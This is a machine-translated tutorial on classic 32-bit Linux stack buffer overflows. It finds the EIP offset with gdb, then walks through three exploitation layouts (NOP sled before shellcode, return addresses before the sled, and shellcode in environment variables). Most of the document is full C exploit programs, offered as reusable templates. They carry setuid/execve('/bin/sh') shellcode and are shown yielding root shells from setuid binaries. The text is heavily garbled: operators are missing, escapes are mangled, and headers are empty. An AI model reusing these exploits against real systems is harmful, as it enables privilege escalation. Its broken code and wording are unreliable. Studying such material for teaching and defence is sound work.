I. Preliminary knowledge
II. Spill Principle Demo
III. Three common overflow methods Demo and instance analysis
There are many things that have been prepared, and later, due to the long reasons for the length, there is no other content, such as environment variables.
Passing BUF-related overflow (via STENV (), Putenv () and other functions to BUF), and some instance analysis.
It is some of my experience in learning the Buffer Overflow process, and it is a summary, and I hope to help those need.
friends.
Preliminary knowledge
Due to the problem, it will be omitted here, and the details can be referred to the compilation tutorial, or the preparatory knowledge in the tutorial in other buffers.
Just instantly understand the basic concepts such as Stack, ESP, EBP, EIP here.
#% ESP is the stack pointer register, which points to the top of the current stack storage area.
#% EBP is a base register that points to the bottom of the current stack storage area.
#% EIP is the instruction pointer (the most useful register for our buffer overflow)
2. Three common overflow methods.
First, let's take a look at a loophole.
[TT @ pH4NT0M EXPLAB] $ CAT Stack1.c
#include
INT main (int Argc, char ** argv) {
Char BUF [10];
STRCPY (BUF, Argv [1]);
Printf ("BUF's 0x% 8x / N", & BUF);
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
What did you do here? It is to construct a 10bytes of buffer, then copy the first parameter of the command to the buffer
Since there is no boundary inspection, when Argv [1] exceeds 10bytes, the buffer overflows. Of course, in theory is only
It takes more than 10bytes, but actually due to the Version of GCC, there is often a lot of fills after Buffer.
So actually we need 28bytes to really cover the buffer, we still actually look at it.
[TT @ pH4NT0M EXPLAB] $ ./stack1 `perl -e 'print" a "x10'`
BUF's 0xBFFEC30
[TT @ pH4NT0M EXPLAB] $ ./stack1 `perl -e 'print" a "x24'`
BUF's 0xBFFFF220
[TT @ pH4NT0M EXPLAB] $ ./stack1 `perl -e 'print" a "x28'`
BUF's 0xBFFFE020
Paragraph error
[TT @ pH4NT0M EXPLAB] $
When you override 10bytes, the program is normal to exit, 24bytes is also the same, until 28bytes, segment fault occurs.
We use GDB to debug it.
[TT @ pH4NT0M EXPLAB] $ GDB Stack1
GNU GDB Red Hat Linux (5.3POST-0.20021129.18RH)
CopyRight 2003 Free Software Foundation, Inc.
GDB IS Free Software, Covered by the gnu general public license, and you are
Welcome to change IT and / or or distribute copies of it under certain conditions.
Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details.
THIS GDB WAS Configured AS "i386-redhat-linux-gnu" ... (gdb) disass main
Dump of assembler code for function main:
0x0804835C
0x0804835d
0x0804835f
0x08048362
0x08048365
0x0804836a
0x0804836C
0x0804836f
0x08048372
......> ......
Here we only need to pay attention to
0x0804835f
0x18 is equal to 10-based 24
In fact, the memory assigned a 24-byte space for Buffer in memory, so it is not difficult to explain the conclusions above.
Then the next 4bytes certainly cause segment fault.
So, what is we overwrunk? Run the program, cover 28bytes
(GDB) R `perl -e 'print" a "x28'`
Starting Program: / home / tt / explab / stack1 `perl -e 'print" a "x28'`
BUF's 0xBFFFF110
Program received Signal SigSegv, Segmentation Fault.
0x42015501 in __libc_start_main () from /Lib/tls/libc.so.6
(GDB) I REG
EAX 0x0 0
ECX 0x4212ee20 1108536864
EDX 0x11 17
EBX 0x42130A14 1108544020
ESP 0xBFFFF130 0xBffff130
EBP 0x41414141 0X41414141
ESI 0x40015360 1073828704
EDI 0x80483d1 134513617
EIP 0x42015501 0x42015501
EFLAGS 0X10206 66054
Run again, add 4Bytes this time, that is, 32bytes overwritten
(GDB) R `perl -e 'print" a "x32'`
Starting Program: / TT / EXPLAB / Stack1 `Perl -e 'Print" a "x32'`
BUF's 0xBffffff610
Program received Signal SigSegv, Segmentation Fault.
0x41414141 in ?? ()
(GDB) I REG
EAX 0x0 0
ECX 0x4212ee20 1108536864
EDX 0x11 17
EBX 0x42130A14 1108544020
ESP 0xBfffff630 0xBfffff630
EBP 0x41414141 0X41414141
ESI 0x40015360 1073828704
EDI 0X80483D0 134513616EIP 0X41414141 0X41414141
EFLAGS 0X10282 66178
By two instances above, you can see that when 28bytes will override EBP, 32bytes, will override EIP
(Note: A ASCII code value is 41)
Therefore, the memory is actually like this.
-------
| BUF |
-------
| Filler |
-------
| EBP |
-------
| EIP |
-------
| ... |
| Memory Gaocal |
So, when we covers the EIP, you can change the process of the program, cover it with 0x41414141, not read in memory.
Of course, the paragraph error
Note that we have to cover the EIP value, it should be the entrance address we have to run, not the code itself.
Let's make a demonstration
[TT @ pH4NT0M EXPLAB] $ cat stackdemo.c
#include
Void fun () {
Printf ("Test, Being Hacked !!! / N / N");
}
INT main (int Argc, char ** argv) {
Char BUF [10];
STRCPY (BUF, Argv [1]);
Printf ("BUF's 0x% 8x / N", & BUF);
Printf ("FUN IS AT 0x% 8x / N", FUN);
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
It is much different from before, there is more functions in this program, but there is no call in main (), so the program should not be called.
Fun is normal. Our goal is to overflow, you can call FUN
Through the previous conclusions, we know that after the 28-byte, add 4 bytes to cover the EIP, so you only need to set these 4 bytes, set to fun.
The entrance address is OK!
We are concluded. For the sake of convenience, I printed the address of the FUN function in the program, of course, can also pass the DISASS FUN in GDB.
Get this address, the result is the same
[TT @ pH4NT0M EXPLAB] $ ./stackdemo test
BUF's 0xBFFFE130
Fun is at 0x 804835c
[TT @ pH4NT0M EXPLAB] $
You can see the entry address of the function FUN at 0x0804835C
So, we should construct it to call to function fun.
[TT @ pH4NT0M EXPLAB] $ ./stackdemo `perl -e 'print" a "x28; print" / x5c / x83 / x04 / x08 "`
BUF's 0xBFFFE090
Fun is at 0x 804835c
Test, Being Hacked !!!
Paragraph error
[TT @ pH4NT0M EXPLAB] $
Sure enough! The function is successfully implemented!
Through the above analysis, we have basically mastered the distribution of the program, the memory, then, now look at the true attack.
We have a shell with a shell by overriding the EIP, changing the program process.
Here are three common methods.
1.NNNNNNNNSSSSSSSSSSSSSSRRRRRRRRRRR
This method is suitable for a big buffer, which is a very traditional method, remember this method of Alpha One in his classic work.
Here n represents NOPS, that is, 0x90, in actual operation, the program will not do anything, but have been delaying these NOPS to run,
Until the instructions that are not NOPS are encountered.
The reason for using a lot of NOPs is to increase the cost of Exploit success.
S represents Shellcode, which is a piece of code we want to perform, get the relevant documentation, please refer to the relevant documentation.
R Represents Return the address, below I use RET, is the value we used to override EIP, and he will point to Shellcode as mentioned earlier, this method is suitable for large buffers, because if the buffer is too small, it may Can't put shellcode, so you can't use RET.
Correctly covering the EIP, can't get the results we want. At the same time, even if you can put down the shellcode, the front NOPS is too small, too
It will greatly affect the success rate of Exploit.
Let's look at the actual example
[TT @ pH4NT0M EXPLAB] $ CAT Stack2.c
#include
INT main (int Argc, char ** argv) {
Char BUF [500];
STRCPY (BUF, Argv [1]);
Printf ("BUF's 0x% 8x / N", & BUF);
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
We set a BUF for 500-bytes of big buffer, with the front method, with GDB disassembly to overwrite EIP
The bytes you need. Of course, here we can demonstrate that we can use another method:
It is the continuous test caused the number of bytes that overflows to judge the desired byte of the overlay.
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x500'`
BUF's 0xBFFDE50
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x600'`
BUF's 0xBFFEBF0
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x550'`
BUF's 0xBFFFE7A0
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x530'`
BUF's 0xBFFF0C0
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x520'`
BUF's 0xBFFFE440
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x525'`
BUF's 0xBFFFE0C0
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x524'`
BUF's 0xBFFFE1C0
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x521'`
BUF's 0xBFFFE040
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x522'`
BUF's 0xBFFFFF040
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x523'`
BUF's 0xBFFFF140
[TT @ pH4NT0M EXPLAB] $ ./stack2 `perl -e 'print" a "x524'`
BUF's 0xBFFEEC0
Paragraph error
[TT @ pH4NT0M EXPLAB] $
In this way, we finally determined the overflow point and the result of the contrast.
(GDB) R `perl -e 'print" a "x524'`
Starting Program: / home / tt / explab / stack2 `perl -e 'print" a "x524'`
BUF's 0xBFFFD830
Program received Signal SigSegv, Segmentation Fault.
0x42015501 in __libc_start_main () from /Lib/tls/libc.so.6
(GDB) I REG
EAX 0x0 0
ECX 0x4212ee20 1108536864
EDX 0x11 17
EBX 0x42130A14 1108544020
ESP 0xBFFFDA40 0xBFFFDA40
EBP 0x41414141 0X41414141
ESI 0x40015360 1073828704
EDI 0x80483d9 134513625
EIP 0x42015501 0x42015501
EFLAGS 0X10202 66050
(GDB) disass main
Dump of assembler code for function main:
0x0804835C
0x0804835d
0x0804835f
0x08048365
0x08048368
...... ...
In this way, after the algorithm is clear, you can start writing our Exploit.
Below is a demo of a demonstration that can be used as a template similar to the Exploit.
[TT @ pH4NT0M EXPLAB] $ CAT stackexp2.c
#include
#include
#include
Char shellcode [] =
// setReuid (0, 0);
"/ x31 / xc0" // xor% EAX,% EAX
"/ x31 / xdb" // xor% EBX,% EBX
"/ x31 / xc9" // xor% ECX,% ECX
"/ XB0 / X46" // MOV $ 0x46,% Al
"/ XCD / X80" // INT $ 0x80
// Execve / Bin / SH
"/ x31 / xc0" // xor% EAX,% EAX
"/ x50" // push% EAX
"/ x68 / x2f / x2f / x73 / x68" // push $ 0x68732f2f
"/ x68 / x2f / x62 / x69 / x6e" // push $ 0x6e69622f
"/ x89 / xe3" // MOV% ESP,% EBX
"/ x8d / x54 / x24 / x08" // LEA 0x8 (% ESP, 1),% EDX
"/ x50" // push% EAX
"/ x53" // push% EBX
"/ x8d / x0c / x24" // lea (% ESP, 1),% ECX
"/ XB0 / X0B" // MOV $ 0XB,% Al
"/ XCD / X80" // INT $ 0x80
// exit ();
"/ x31 / xc0" // xor% EAX,% EAX
"/ XB0 / X01" // MOV $ 0x1,% Al
"/ xcd / x80"; // int $ 0x80
Unsigned long get_esp () {
__ASM __ ("MOVL% ESP,% EAX");
}
INT Main (int Argc, char * argv []) {
Char BUF [530];
Char * p;
P = BUF;
INT I;
Unsigned long Ret;
INT OFFSET = 0;
/ * Offset = 400 Will Success * /
IF (Argc> 1)
OFFSET = ATOI (Argv [1]);
RET = GET_ESP () - OFFSET;
MEMSET (BUF, 0x90, SIZEOF (BUF));
Memcpy (BUF 524, (char *) & RET, 4);
/ * MODIFY THIS value will modify nops and shellcode addr * /
Memcpy (BUF I 100, Shellcode, Strlen (shellcode);
Printf ("RET IS AT 0x% 8X / N ESP IS AT 0x% 8x / N", RET, GET_ESP ());
Execl ("./ Stack2", "Stack2", BUF, NULL;
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
First with
MEMSET (BUF, 0x90, SIZEOF (BUF));
Fill the entire BUF for NOPS
again
Memcpy (BUF I 100, Shellcode, Strlen (shellcode);
From BUF [100] to fill the shellcode, front and back is NOPS
Of course, you can increase the number of NOPs, which can modify 100 values, but to remember not to let the shellcode overwrite the EIP!
Next, it is
Memcpy (BUF 524, (char *) & RET, 4);
Use the EIP to override our RET, let the program jump to NOPS, until the execution of our shellcode
(Isn't the characteristics of NOPS?)
Finally
Execl ("./ Stack2", "Stack2", BUF, NULL;
To perform a vulnerability program, and put our well-constructed BUF copy!
Note that BUF in Exploit is our own well-constructed!
The rest of the difficulty is the determination of the value of RET.
Because the process of the program is already very clear, RET is we must be careful, because he can't fall to other places, it must fall
Go to our NOPS!
The method used here is generally the method of ESP-OFFSET
So let's first
Unsigned long get_esp () {
__ASM __ ("MOVL% ESP,% EAX");
}
Obtain the value of the ESP, although this value is different from the value of the ESP of the vulnerability program, it will not differ very far. Then use offset to adjust,
This allows you to get the correct RET value.
We printed the address of the BUF, because our NOPS started from the BUF, so only need until the Buf address, control RET to & buf 100
Within the range, you can guarantee that RET falls in NOPS!
Specific can be seen from GDB debugging
(GDB) R
Starting Program: / Home / TT / Explab / Stackexp2
RET IS AT 0xBFFFFF2C0
ESP IS AT 0xBfff2f8
Program Received Signal SigTrap, Trace / Breakpoint Trap.
0x40000Be0 in _Start () from /lib/ld-linux.so.2 (GDB) C
Continuing.
BUF's 0xBFFFEA40
Program received Signal SigSegv, Segmentation Fault.
0xBFFFF2C0 in ?? ()
(GDB) I REG EIP EBP ESP
EIP 0xBFFFF2C0 0xBffFFF2C0
EBP 0x90909090 0x90909090
ESP 0xBFFFEC50 0xBFFEC50
(GDB) X / 50X $ ESP-532
0xBffea3c: 0x00000000 0x90909090 0x90909090 0x90909090
0xBffea4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFEA5C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFEA6C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBffea7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xBffea8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xBffea9c: 0x90909090 0x90909090 0x90909090 0xDB31C031 0X46B0C931
0xBFFFEAAC: 0xc03180cd 0x2f2f6850 0x2f686873 0x896e6962
0xBFFFEABC: 0x24548DE3 0x8D535008 0x0BB0240C 0xc03180CD
0xBFFFEACC: 0x80cd01b0 0x90909090 0x90909090 0x90909090
0xBFFFEADC: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFEAEC: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFEAFC: 0x90909090 0x90909090
(GDB)
I saw our shellcode!
But our RET did not jump here,
(GDB) I REG EIP EBP ESP
EIP 0xBFFFF2C0 0xBffFFF2C0
Our Ret is now jumped here ...
Then let's change the OFFSET
[TT @ pH4NT0M EXPLAB] $ ./stackedexp2
RET IS AT 0xBFFFE0C0
ESP is at 0xBFFFE0F8
BUF's 0xBFFD930
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./stackedExp2 100
RET IS AT 0xBFFD7A4
ESP IS AT 0xBFFD7F8
BUF's 0xBFFFD630
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./stacked pxp2 200
RET IS AT 0xBFFFFF0C0
ESP IS AT 0xBfff178
BUF's 0xBFFFEFB0
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./stackedExp2 300
RET IS AT 0xBFFEB5C
ESP IS AT 0xBFFEC78
BUF's 0xBFFEAB0
Illegal directive
[TT @ pH4NT0M EXPLAB] $ ./stackedExp2 400
RET IS AT 0xBFFD6F8
ESP IS AT 0xBFFD878
BUF's 0xBFFD6B0
SH-2.05B $
Look! When our offset is 400, it will succeed in overflow to get the shell!
Why isn't it root? That's because our vulnerability program stack2 did not add S bit
When we add S bit
[TT @ pH4NT0M EXPLAB] $ LS Stack2 -L
-rwsrwsr-x 1 root root 11673 July 21 15:42 Stack2
[TT @ pH4NT0M EXPLAB] $ ./stackedExp2 400
RET IS AT 0xBFFD8F8
ESP IS AT 0xBFFDA78
BUF's 0xBFFD8B0
SH-2.05B #
Look! Get the root shell, the lottery ticket !!!
2.RrrrrrrrrnnnnnnnnnnnnnssssssSSSSSSSSSSSS
This method is equally suitable for large and small buffers, and the RET address is easy to calculate, which is significantly better than the previous method!
The principle is:
First, fill the entire BUF, until the RET has covered the EIP, followed by the large number of NOPs after retail,
Finally, it is our shellcode!
The RET address is also very good here, because the size of the entire BUF is determined by our self (the buf here is our constructor.
BUF, not the overflowed buf in the original program, so only need to add an offset in the start address of BUF
You can let Ret fall in NOPS.
We look at the original example
[TT @ pH4NT0M EXPLAB] $ CAT Stack1.c
#include
INT main (int Argc, char ** argv) {
Char BUF [10];
STRCPY (BUF, Argv [1]);
Printf ("BUF's 0x% 8x / N", & BUF);
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
In STACK1.C, BUF only 10bytes, even if there is only 28bytes that the GCC allocation is also available, it is likely to put
Can't let our shellcode, so the first method is not applicable here.
We use the rrrrnnnnsssss type filling method.
Here is a demonstration of Exploit I wrote, you can act as a template like Exploit
[TT @ pH4NT0M EXPLAB] $ cat stackexp3.c
#include
#include
#include
Char shellcode [] =
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x17"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x17"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x2e"
"/ xcd / x80"
"/ x31 / xc0"
"/ x50"
"/ x68 / x2f / x2f / x73 / x68"
"/ x68 / x2f / x62 / x69 / x6e"
"/ x89 / xe3"
"/ x50"
"/ x53"
"/ x89 / xe1"
"/ x31 / xd2"
"/ xb0 / x0b"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x01"
"/ xcd / x80";
INT main (int Argc, char ** argv) {
Char BUF [500];
Unsigned long Ret, P;
INT I;
P = & buf;
RET = P 70;
MEMSET (BUF, 0x90, SIZEOF (BUF));
For (i = 0; i <44; i = 4)
* (long *) & buf [i] = RET;
Memcpy (buf 400 i, shellcode, strlen (shellcode);
EXECL ("./ stack1", "stack1", buf, null;
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
Allocate a large BUF of 500Bytes for our construct
Fill the entire buffer NOPS
MEMSET (BUF, 0x90, SIZEOF (BUF));
Then filled the first 44bytes, and 44 here casually, the purpose just needs to ensure that the cover is easy.
From the previous analysis, the EIP will be overwritten when 32bytes is covered, so 44 can meet our requirements.
For (i = 0; i <44; i = 4)
* (long *) & buf [i] = RET;
Next, copy the shellcode to the appropriate location.
Memcpy (buf 400 i, shellcode, strlen (shellcode);
This, there is almost more than 300 NOPs in front of Shellcode, and the success chance is very large.
Finally, perform a vulnerability program, copy our carefully constructed buf to the target program
The rest of the key issue is the determination of the RET value
As mentioned earlier, the value of the RET should be the start address of the buf plus an offset, making RET inside NOPS.
Our BUF structure is rrrrrrnnnnnnnsssssss
RET is filling from the start address of the BUF, so it only needs Offset to skip the RET, you can fall to NOPS
I have.
Thus we calculate this
P = & buf;
RET = P 70;
Obviously, 70> 44, so in this example, RET can jump to the NOPS execution. We actually look
[TT @ pH4NT0M EXPLAB] $ ./stackedexp3
BUF's 0xBFFFEF40
SH-2.05B #
The memory distribution is as follows
(GDB) X / 50X $ ESP-36
0xBFFFDCDC: 0x08048269 0xBFFFE186 0xBFFFE186 0xBFFFE186
0xBFFFDCEC: 0xBFFFE186 0xBFFFE186 0xBFFFE186 0xBFFFE186
0xBFFFDCFC: 0xBFFFE186 0xBFFFE186 0xBFFFE186 0xBFFFE186
0xBFFFDD0C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFDD1C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBffFDD2C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFDD3C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFDD4C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFDD5C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFDD6C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFDD7C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFDD8C: 0x90909090 0x90909090 0x90909090 0x90909090
0xBFFFDD9C: 0x90909090 0x90909090
(GDB)
......
(GDB)
0xBffde70: 0x90909090 0x90909090 0x90909090 0x909090900xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090
0xBffde90: 0x90909090 0x90909090 0x90909090 0xD889DB31
0xBffdea0: 0x80cd17b0 0xd889db31 0x80cd17b0 0xd889db31
0xBffdeb0: 0x80cd2eb0 0x6850c031 0x68732f2f 0x69622f68
0xBffDec0: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x89db3180
0xBfffded0: 0xcd01b0d8 0x0000c680 0x00000000 0x00000000
0xBffdee0: 0x00000000 0x00000000 0x00000000 0x00000000
0xBFFFDEF0: 0x00000000 0x00000000 0x00000000 0x00000000
The middle is a large number of NOPs, as we want, BUF follows the rrrrrnnnnnsssss we need.
The way is filled!
3. Using environment variables
This is a method currently the most effective and most commonly used. Adaptability, and can accurately locate the address of Shellcode,
So even NOPs can do not have to be necessary, this benefits are bypass some environmental security programs because a lot of NOPS
Willing may be detected and cannot be executed.
Functions Execve () is a relatively special function, and his specific features make us write Exploit half-mexion.
Specific principle can refer to Oyxin translation << using the execve () function written without NOPS EXPLOIT >>
allowable
Http://www.ph4nt0m.net/docs/env.txt finds this article.
Simply put shellcode in an environment variable .Execve () provides a new environment to the program. From memory
The high address 0xC0000000 starts calculation, the file name, and the program execve () will be in memory by COPY.
In this way, as long as we calculate the exact position of Shellcode formula to formula!
The calculation method of the shellcode address is
0xC0000000 - 0x04 - Sizeof (FileName) - Sizeof (Shellcode)
At this time, our BUF construct is relatively simple. Just need the way Aaaaaaaar to fill
A just need to fill the buf until EBP, the last EIP is overwritten by a RET, and RET is accurate to the address of the shellcode.
Finally, use shellcode to execute the entire program!
We still overflow for Stack1.c.
[TT @ pH4NT0M EXPLAB] $ CAT Stack1.c
#include
INT main (int Argc, char ** argv) {
Char BUF [10];
STRCPY (BUF, Argv [1]);
Printf ("BUF's 0x% 8x / N", & BUF);
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
Here is a demo I write, you can act as a template like Exploit.
[TT @ pH4NT0M EXPLAB] $ CAT stackexp1.c
#include
Char shellcode [] =
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x17"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x17"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8" "/ xb0 / x2e"
"/ xcd / x80"
"/ x31 / xc0"
"/ x50"
"/ x68 / x2f / x2f / x73 / x68"
"/ x68 / x2f / x62 / x69 / x6e"
"/ x89 / xe3"
"/ x50"
"/ x53"
"/ x89 / xe1"
"/ x31 / xd2"
"/ xb0 / x0b"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x01"
"/ xcd / x80";
INT main (int Argc, char ** argv) {
Char BUF [32];
CHAR * P [] = {"./ stack1", buf, null};
Char * env [] = {"Home = / root", shellcode, null};
Unsigned long Ret;
RET = 0xc0000000-Strlen ("./ stack1") - sizeof (void *);
MEMSET (BUF, 0x41, SIZEOF (BUF));
Memcpy (& BUF [28], & Ret, 4);
Printf ("RET IS AT 0x% 8x / N", RET);
Execve (P [0], P, ENV);
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
Put shellcode in the environment variable to be executed
Char * env [] = {"Home = / root", shellcode, null};
Fill the entire BUF with A
MEMSET (BUF, 0x41, SIZEOF (BUF));
Calculate the value of RET and override EIP
RET = 0xc0000000-Strlen ("./ stack1") - sizeof (void *);
......
Memcpy (& BUF [28], & Ret, 4);
Final executing execve ()
Execve (P [0], P, ENV);
Let's take a look at the memory distribution of Exploit.
(GDB) B EXECVE
BreakPoint 1 AT 0x80482ec
(GDB) R
Starting program: / home / tt / explab / stackexp1
BreakPoint 1 AT 0x420ac7f6
RET IS AT 0xBFFFFFBB
Breakpoint 1, 0x420ac7f6 in Execve () from /lib/tls/libc.so.6
(GDB) I REG
EAX 0xBFFFE190 -1073749616
ECX 0x4212ee20 1108536864
EDX 0x15 21
EBX 0x42130A14 1108544020
ESP 0xBFFFE150 0xBFFFE150
EBP 0xBFFFE158 0xBFFFE158
ESI 0x40015360 1073828704
EDI 0x80484DC 134513884
EIP 0x420ac7f6 0x420ac7f6
EFLAGS 0x286 646
......
(GDB) X / 50X $ ESP
0xBFFFE150: 0x420ac7f0 0x40015a38 0xBFFFE1C8 0x080484A2
0xBffe160: 0x08048558 0xBFFFE190 0xBFFFE180 0x4207A750
0xBffe170: 0x4000807f 0x4001582c 0x00000036 0xBffffBB0XBFFFE180: 0x08048561 0x080495c0 0x00000000 0x40016380
0xBFFFE190: 0x08048558 0xBFFFE1A0 0x00000000 0x0804837A
0xBffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xBFFE1B0: 0X41414141 0X41414141 0X41414141 0XBFFFFFBB
0xBFFFE1C0: 0x42130A14 0x40015360 0xBFFFE1E8 0x42015574
0xBFFFE1D0: 0x00000001 0xBFFFE214 0xBFFFE21C 0x4001582C
......
(GDB) C
......
(GDB) X / 50X $ ESP
......
0xBffFFF 40: 0x00000000 0x00000000 0x00000000 0x00000000
0xBfffff50: 0x00000000 0x00000000 0x00000000 0x00000000
0xBfffff60: 0x00000000 0x00000000 0x00000000 0x36690000
0xBfffff70: 0x2e003638 0x6174732f 0x00316b63 0x41414141
0xBfffff80: 0x41414141 0x41414141 0x41414141 0x41414141
0xBfffff90: 0x41414141 0x41414141 0xBfffffbb 0x42130a14
0xBfffffa0: 0x40015360 0xBFFFE1E8 0x42015574 0x4f480001
0xBffffFfb0: 0x2f3d454d 0x746f6f72 0x89db3100 0xcd17b0d8
0xBffffffc0: 0x89db3180 0xcd17b0d8
(GDB)
0xBffFFFFC8: 0x89db3180 0xcd2eb0d8 0x50c03180 0x732f2f68
0xBfffffd8: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231
0xBfffffe8: 0xDB3180CD 0x01B0D889 0x2e0080cd 0x6174732f
0xBfffffff8: 0x00316B63 0x00000000 Cannot Access Memory At Address 0xC0000000
(GDB) X / 50X 0xBFFFFFC1
0xBffffffc1: 0xD889db31 0x80cd17b0 0xd889db31 0x80cd2eb0
0xBfffffd1: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xBffffffe1: 0x31e18953 0xcd0bb0d2 0x89db3180 0xcd01b0d8
0xBFFFFF1: 0x2f2e0080 0x63617473 0x0000316b cannot access memory at address 0xBffffffd
(GDB)
We can already see the program in accordance with our idea.
[TT @ pH4NT0M EXPLAB] $ ./stackedExp1
RET IS AT 0xBFFFFFBB
BUF's 0xBFFFFC60
SH-2.05B #
The above is three common methods.
Finally, simply talk about the problem of passing environment variables to BUF
Many programs have not bordered the environment variables, so when the environment variable is given a long value,
Running the loopholes will copy the environment variable into the buffer, causing overflow.
It is usually transmitted by STENV (), PUTENV () and other functions.
Due to space relationships, this is no longer detailed, just give an example and a corresponding EXPLOIT I have as a reference.
[TT @ pH4NT0M EXPLAB] $ CAT ENV1.C
#include
#include
INT main (int Argc, char ** argv) {
Char buffer [500];
Printf ("BUF ADDR IS-% P - / N", & buffer;
STRCPY (Buffer, GetENV ("pH4NT0M");
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
Below is a demo expection that I wrote, you can act as a template like Exploit
[TT @ pH4NT0M EXPLAB] $ CAT ENVEXP1.C
#include
#include
Char shellcode [] =
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x17"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x17"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x2e"
"/ xcd / x80"
"/ x31 / xc0"
"/ x50"
"/ x68 / x2f / x2f / x73 / x68"
"/ x68 / x2f / x62 / x69 / x6e"
"/ x89 / xe3"
"/ x50"
"/ x53"
"/ x89 / xe1"
"/ x31 / xd2"
"/ xb0 / x0b"
"/ xcd / x80"
"/ x31 / xdb"
"/ x89 / xd8"
"/ xb0 / x01"
"/ xcd / x80";
Unsigned long get_esp () {
__ASM __ ("MOVL% ESP,% EAX");
}
INT main (int Argc, char ** argv) {
Char BUF [528];
INT I;
INT OFFSET = 90;
Unsigned long Ret;
MEMSET (BUF, 0x90, SIZEOF (BUF));
/ * SET OFFSET to 100 to spawn a shell! * /
IF (Argc> 1)
OFFSET = ATOI (Argv [1]);
RET = GET_ESP () - OFFSET;
Memcpy (BUF 524, & RET, 4);
Memcpy (buf 400 i, shellcode, strlen (shellcode);
STENV ("pH4NT0M", BUF, 1);
Printf ("RetadDR IS AT 0x% LX / N", RET);
EXECL ("./ ENV1", "ENV1", NULL
Return 0;
}
[TT @ pH4NT0M EXPLAB] $
The results of the operation are as follows, when the offset takes 100, causing overflow to get the shell.
[TT @ pH4NT0M EXPLAB] $ ./ENVEXP1
Retaddr is at 0xBffff1CE
Buf addr is- 0xbffefa0 -
Paragraph error
[TT @ pH4NT0M EXPLAB] $ ./Envexp1 100retaddr is at 0xBFFFED34
Buf addr is- 0xbffeba0 -
SH-2.05B $
The above is a little experience in the process of learning. It is convenient for future reference, and I hope to help the friends you need. Please ask your seniors.
Specify the defects and errors.